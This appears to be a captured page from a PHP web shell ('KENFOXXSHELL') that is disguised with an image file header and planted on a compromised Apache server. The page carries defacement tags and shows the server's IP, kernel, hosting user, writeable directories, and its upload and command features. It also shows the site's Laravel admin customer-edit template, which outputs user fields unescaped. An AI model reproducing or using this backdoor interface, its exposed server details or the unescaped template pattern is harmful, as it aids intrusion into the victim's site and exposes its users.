JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/resources/views/admin/users/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/resources/views/admin/users/editcustomer.blade.php
@extends('admin.master')
@section('content')
@section('controller','User Detail')
@section('action','Update')

<!-- Content Header (Page header) -->
<section class="content-header">
  <h1>
   	@yield('controller')
    <small>@yield('action')</small>
  </h1>
  <ol class="breadcrumb">
    <li><a href="admin"><i class="fa fa-dashboard"></i> Home</a></li>
    <li><a href="javascript:">@yield('controller')</a></li>
    <li class="active">@yield('action')</li>
  </ol>
</section>
<!-- Main content -->
<section class="content">
  
    <div class="box">
    	@include('admin.messages_error')
        <div class="box-body">
        	<form method="post" action="admin/users/customer/edit?id={{$data->id}}" enctype="multipart/form-data">
        		<input type="hidden" name="_token" value="{!! csrf_token() !!}" />
      			<div class="row">
              		<div class="col-md-6 col-xs-12">
              			<!-- <div class="form-group @if ($errors->first('fImages')!='') has-error @endif">
							<div class="form-group">
								<img src="{{ asset('upload/users/'.$data->photo) }}" onerror="this.src='{{asset('public/admin_assets/images/no-image.jpg')}}'" width="200"  alt="NO PHOTO" />
								<input type="hidden" name="img_current" value="{!! @$data->photo !!}">
							</div>
							<label for="file">Chọn File ảnh</label>
					     	<input type="file" id="file" name="fImages" >
					    	<p class="help-block">Width:225px - Height: 162px</p>
					    	@if ($errors->first('fImages')!='')
					      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('fImages'); !!}</label>
					      	@endif
						</div>
						
						<div class="clearfix"></div>
						<div class="form-group">
					      	<label for="ten">Username</label>
					      	<input type="text" disabled value="{{ $data->username }}"  class="form-control" />
						</div>
						<div class="form-group @if ($errors->first('password')!='') has-error @endif">
					      	<label for="ten">Password</label>
					      	<input type="password" name="password" value=""  class="form-control" />
					      	@if ($errors->first('password')!='')
					      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('password'); !!}</label>
					      	@endif
						</div>
						<div class="form-group @if ($errors->first('password_new')!='') has-error @endif">
					      	<label for="ten">Password mới</label>
					      	<input type="password" name="password_new" value=""  class="form-control" />
					      	@if ($errors->first('password_new')!='')
					      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('password_new'); !!}</label>
					      	@endif
						</div>
						<div class="form-group @if ($errors->first('re_password')!='') has-error @endif">
					      	<label for="ten">Nhập lại password mới</label>
					      	<input type="password" name="re_password" value=""  class="form-control" />
					      	@if ($errors->first('re_password')!='')
					      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('re_password'); !!}</label>
					      	@endif
						</div> -->
				    	<div class="form-group">
					      	<label for="ten">Họ tên</label>
					      	<input type="text"  id="name" name="name" value="{!! old('name', isset($data) ? $data->name : null) !!}"  class="form-control" />
						</div>
						<div class="form-group">
					      	<label for="txtTitle">Email</label>
					      	<input type="text" name="email" id="email"  value="{!! old('email', isset($data) ? $data->email : null) !!}"  class="form-control" />
						</div>
						<div class="form-group">
					      	<label for="txtPhone">Điện thoại</label>
					      	<input type="text" name="phone" id="phone" value="{!! old('phone', isset($data) ? $data->phone : null) !!}"  class="form-control" />
						</div>
						<div class="form-group">
					      	<label for="txtAddress">Địa chỉ</label>
					      	<input type="text" name="address" id="address"  value="{!! old('address', isset($data) ? $data->address : null) !!}"  class="form-control" />
						</div>

					</div>
					<div class="col-md-6 col-xs-12">
						
					</div>
				</div>
				<div class="clearfix"></div>
			    <div class="col-md-6">
			    	<?php /*<div class="form-group">
					      <label for="ten">Số thứ tự</label>
					      <input type="number" min="1" name="stt" value="{!! $data->stt !!}" class="form-control" style="width: 100px;">
				    </div> <?php */?>
				    <div class="form-group">
					    <label>
				        	<input type="checkbox" name="status" {!! (!isset($data->status) || $data->status==1)?'checked="checked"':'' !!}> Hiển thị
				    	</label>
				    </div>
			    	
			    </div>
			    <div class="clearfix"></div>
			    <div class="box-footer col-md-12 row">
					<div class="col-md-6">
				    	<button type="submit" class="btn btn-primary">Cập nhật</button>
				    	<button type="button" onclick="javascript:window.location='admin/users/customer'" class="btn btn-danger">Thoát</button>
			    	</div>
			  	</div>
		    </form>
        </div><!-- /.box-body -->
    </div><!-- /box -->
    
</section><!-- /.content -->
@endsection()

Anon7 - 2022
AnonSec Team